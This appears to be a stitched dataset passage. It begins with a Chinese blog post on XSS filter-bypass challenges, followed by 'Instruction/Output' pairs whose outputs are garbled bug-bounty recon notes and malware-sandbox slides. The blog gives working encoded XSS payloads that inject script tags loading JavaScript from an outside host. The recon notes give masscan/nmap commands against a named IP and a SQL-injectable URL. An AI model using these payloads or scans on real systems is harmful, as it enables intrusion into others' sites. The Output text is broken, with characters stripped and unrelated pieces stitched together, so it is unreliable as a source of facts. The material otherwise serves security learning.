xss 修炼之-独孤九剑 香草 2020-05-31 共 170 人围观 WEB 安全编辑 缘起 群里某个同学在 xss 实战中遇到了一个地方过滤了 =() 问我怎么办 当然这个问题很简单我很快在脑海里想出了好几种方法当时我当时就像着魔似的问 自己如果同时过滤 =(). 又怎么办呢 很快又有了办法如果同时又过滤了 =().%呢 同时过滤 =().&#\ 呢 .. 于是便有了这次 xss 修炼之-独孤九剑 我先出了第一题也就是那个同学遇到的场景当然每道题出来的时候我肯定需要先完 成出题之前我也是没把握的 <?php $data=$_GET['data']; $data = str_replace("=","",$data); $data = str_replace("(","",$data); $data = str_replace(")","",$data); ?> <html> <head> <meta charset="utf-8"> <title>独孤九剑-第一式</title> </head> <body> <h2>过滤了 =()少侠骨骼惊奇必是练武奇才</h2> <h2>要求加载任意 JS 代码,成功加载 http://xcao.vip/xss/alert.js 表示完成挑战</h2> <input type="text" value="<?php echo $data;?>"> </body> </html> http://xcao.vip/test/xss1.php?data=1 当时我想到的解法是 独孤九剑第一式 这里过滤了 =() http://xcao.vip/test/xss1.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%2 3x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3 B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23 x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B% 26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x2 9%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('scrip t')).src='http://xcao.vip/test/alert.js' 解码后就是这样这里是因为在 svg 下面的 script 可以使用 html 编码利用 html 编码绕过=() 的过滤 http://xcao.vip/test/xss1.php?data="><svg><script>&#x65;&#x76;&#x61;&#x6c;&#x28; &#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x68;&#x61;&#x73;&#x68;& #x2e;&#x73;&#x6c;&#x69;&#x63;&#x65;&#x28;&#x31;&#x29;&#x29;</script></svg>#with (document)body.appendChild(createElement('script')).src='http://127.0.0.1/xss/a lert.js' 独孤九剑第二式 这里过滤了 =(). 新增了.的过滤 利用 setTimeout 以及``代替括号同时采用\u 编码绕过对()和.的限制 http://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\u0065\u0076 \u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\ u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029 `;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='ht tp://xcao.vip/xs


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SRC 1. IP 2. 1.SSL 2. 3.Github 4.DNS 5. SSL 12 SRC SSL 1.censys.io 2.crt.sh 1.riskiq 2.shodan 3.ﬁndsubdomains [] [] 4.censys.io 5.dnsdb.io DNS SSLGithub crt.shnss.a.com Github   GET  json  fastjson   Github github IP IPASIP IP : http://IPwhois.cnnic.net.cn/ 123.58.191.1 [IP]  IP  Netease-Network  IPNetease-Network  neteaseIPIP IP IP? IP [] IPpythonmasscan +nmap <<>>  masscanIP waf  IPwafIPIP masscanIP subprocessmasscan IP wafbreak 59.111.14.159 IP sudo masscan 59.111.14.159 -p1-65535 --rate 2000 IPpython  masscan-oX -oJ masscan masscan masscannmapnmap -sV -sT -Pn --version-all --open -sV -sT -sS-sT -sTroot -sSroot -Pnnmapping masscan nmap --open open --version-all [] 1., 2.rapid7fdnsrndsjson https://opendata.rapid7.com/sonar.rdns_v2/ https://opendata.rapid7.com/sonar.fdns_v2/ 1. 2. 3. 4.(js) 20161000web (js) []  postgetjs apijs 2016Uberapi @cy hackerone1UberSQL apijsjs1api sqlUber api api2jsapijs 8apiapi  [] openidapi  3000$  Uber 403404 IP 106.**.**.147 403  http://106.**.**.147/adver/landing.php  URL http://106.**.**.147/adver/landing.php?mac=1 SQL  SRC ? dict_count dict_count1order by dict_count desc SRC 1. 2. APPiosAndroidAPP APPSSLAPP APP iosiPhoneSSL Pining Disable SSL Pining http://pwn.dog/index.php/ios/ios-disable-ssl-pinning.html https://github.com/WooyunDota/DroidSSLUnpinning [] [] [APP]


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Inside the Matrix,How to Build Transparent Sandbox for Malware Analysis C.K Chen (Bletchley) 1 Who am I C.K Chen (陳仲寬) P.H.D Student in DSNS Lab, NCTU Research in Reverse Engineering Malware Analysis Virtual Machine 2 About DSNS 謝續平教授 實驗室研究方向 惡意程式分析 虛擬機器 數位鑑識 網路安全 3 Outline VM for Malware Analysis Detect Security Utilities Out-of-Box Monitor Emulation Virtualization Malware Behavior Analysis Dynamic Taint Tracking Cloudebug Anti-VM Behavior Comparison to Detect Anti-VM 4 VM for Malware Analysis VM play an important role for nowadays for malware analysis Isolated Environment Fast Recovery 5 Reverse with VM What we are doing everyday Automatic analysis malware: Put monitor program into VM to keep track of malware Reversing Malware Put reversing tools(debugger, disassembler) into VM and reversing VMM Host OS 6 Detect Security Utilities While your security utilities are placed in the same environment, it is possible for malware to detect its existence KillAV Anti-Debugger 7 Kill AV Malware can check the existence of anti-virus, and then stop or bypass anti-virus Process Name If important function being hooked Read Process Memory Any software in the same environment with malware can be detected 8 Anti-Debug To confuse analyst, malware employ anti-debug to detect or stop debug software Everything you put into VM expose the threat File Process Registry 9 Anti-Debug Example push offset exception_handler; set exception handler push dword ptr fs:[0h] mov dword ptr fs:[0h],esp xor eax,eax;reset EAX invoke int3 int 3h pop dword ptr fs:[0h];restore exception handler add esp,4 test eax,eax; check the flag je rt_choke jmp rf_choke exception_handler: mov eax,dword ptr [esp+0xc];EAX = ContextRecord mov dword ptr [eax+0xb0],0xffffffff;set flag (ContextRecord.EAX) inc dword ptr [eax+0xb8];set ContextRecord.EIP xor eax,eax retn 10 Anti-Debug Result 11 The Ultimate Anti-Debugging Reference http://pferrie.host22.com/papers/antidebug.pdf 12 How can we do? Can we move analysis tools outsid